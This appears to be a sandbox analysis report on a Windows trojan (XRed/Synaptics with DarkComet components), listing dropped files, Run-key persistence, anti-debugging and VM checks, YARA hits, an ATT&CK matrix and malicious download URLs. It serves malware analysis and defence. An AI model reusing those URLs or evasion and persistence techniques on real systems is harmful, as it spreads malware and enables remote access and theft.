Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior

Source: C:\Users\user\Desktop\System Volume Information.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

File written: C:\Users\user\AppData\Local\Temp\eE3C1WT.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: C:\Users\user\Desktop\._cache_System Volume Information.exe

Code function: 2_2_009E3683 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

2_2_009E3683

Source: C:\Users\user\Desktop\._cache_System Volume Information.exe

Code function: 2_2_009E2B01 push ecx; ret

2_2_009E2B14

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\~$cache1

Jump to dropped file

Source: C:\Users\user\Desktop\System Volume Information.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\~$cache1	Jump to dropped file
Source: C:\Users\user\Desktop\System Volume Information.exe	File created: C:\ProgramData\Synaptics\RCXA824.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\System Volume Information.exe	File created: C:\Users\user\Desktop\._cache_System Volume Information.exe	Jump to dropped file

Source: C:\Users\user\Desktop\System Volume Information.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe			Jump to dropped file
Source: C:\Users\user\Desktop\System Volume Information.exe	File created: C:\ProgramData\Synaptics\RCXA824.tmp			Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\~$cache1

Jump to dropped file

Source: C:\Users\user\Desktop\System Volume Information.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: icon (3107).png

Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\System Volume Information.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\._cache_System Volume Information.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_2-3520

Source: C:\Users\user\Desktop\._cache_System Volume Information.exe TID: 5836	Thread sleep time: -110000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 5952	Thread sleep count: 53 > 30	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 5952	Thread sleep time: -3180000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 8544	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Last function: Thread delayed
Source: C:\ProgramData\Synaptics\Synaptics.exe	Last function: Thread delayed
Source: C:\ProgramData\Synaptics\Synaptics.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed

Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000

Source: C:\Users\user\Desktop\System Volume Information.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: Amcache.hve.11.dr	Binary or memory string: VMware
Source: Amcache.hve.11.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.11.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.11.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.11.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.11.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.11.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.11.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000637000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.11.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.11.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.11.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.11.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: ._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.11.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.11.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.11.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.11.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.11.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.11.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.11.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.11.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.11.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.11.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.11.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.11.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.11.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.11.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.11.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.11.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0jd%SystemRoot%\system32\mswsock.dll$;C D
Source: Amcache.hve.11.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	API call chain: ExitProcess graph end node			graph_2-3930
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	API call chain: ExitProcess graph end node			graph_2-3978

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\._cache_System Volume Information.exe

Code function: 2_2_009E153D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_009E153D

Source: C:\Users\user\Desktop\._cache_System Volume Information.exe

2_2_009E3683

Source: C:\Users\user\Desktop\._cache_System Volume Information.exe

Code function: 2_2_009E14A0 GetProcessHeap,HeapAlloc,Sleep,Sleep,

2_2_009E14A0

Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Code function: 2_2_009E566B __NMSG_WRITE,_raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_009E566B
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Code function: 2_2_009E153D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_009E153D
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Code function: 2_2_009E2F52 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_009E2F52

Source: C:\Users\user\Desktop\System Volume Information.exe	Process created: C:\Users\user\Desktop\._cache_System Volume Information.exe "C:\Users\user\Desktop\._cache_System Volume Information.exe"			Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate			Jump to behavior

Source: C:\Users\user\Desktop\._cache_System Volume Information.exe

Code function: GetLocaleInfoA,

2_2_009E6F8A

Source: C:\Users\user\Desktop\System Volume Information.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Desktop\._cache_System Volume Information.exe

Code function: 2_2_009E2CAC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

2_2_009E2CAC

Source: Amcache.hve.11.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.11.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.11.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.11.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected XRed

Source: Yara match	File source: System Volume Information.exe, type: SAMPLE
Source: Yara match	File source: 0.0.System Volume Information.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1999521718.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2004519629.000000000081F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: System Volume Information.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXA824.tmp, type: DROPPED

Remote Access Functionality

Yara detected XRed

Source: Yara match	File source: System Volume Information.exe, type: SAMPLE
Source: Yara match	File source: 0.0.System Volume Information.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1999521718.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2004519629.000000000081F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: System Volume Information.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXA824.tmp, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	41 Scripting	1 Replication Through Removable Media	2 Native API	41 Scripting	11 Process Injection	112 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	Security Account Manager	141 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Extra Window Memory Injection	1 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	24 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	1 Peripheral Device Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	3 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	23 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
System Volume Information.exe	92%	ReversingLabs	Win32.Trojan.Synaptics
System Volume Information.exe	100%	Avira	TR/Dldr.Agent.SH
System Volume Information.exe	100%	Avira	HEUR/AGEN.1358203
System Volume Information.exe	100%	Avira	W2000M/Dldr.Agent.17651006
System Volume Information.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Desktop\._cache_System Volume Information.exe	100%	Avira	HEUR/AGEN.1358203
C:\ProgramData\Synaptics\RCXA824.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\RCXA824.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	HEUR/AGEN.1358203
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\Documents\~$cache1	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\Documents\~$cache1	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\RCXA824.tmp	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\Synaptics.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\~$cache1	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCXA824.tmp	87%	ReversingLabs	Win32.Backdoor.DarkComet
C:\ProgramData\Synaptics\Synaptics.exe	92%	ReversingLabs	Win32.Trojan.Synaptics
C:\Users\user\Desktop\._cache_System Volume Information.exe	97%	ReversingLabs	Win32.Trojan.Aenjaris
C:\Users\user\Documents\~$cache1	87%	ReversingLabs	Win32.Backdoor.DarkComet

Source	Detection	Scanner	Label
https://docs.goo6	0%	Avira URL Cloud	safe
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngvs5K	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/Synaptics.rarZ	100%	Avira URL Cloud	malware
http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngT	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dl	100%	Avira URL Cloud	malware
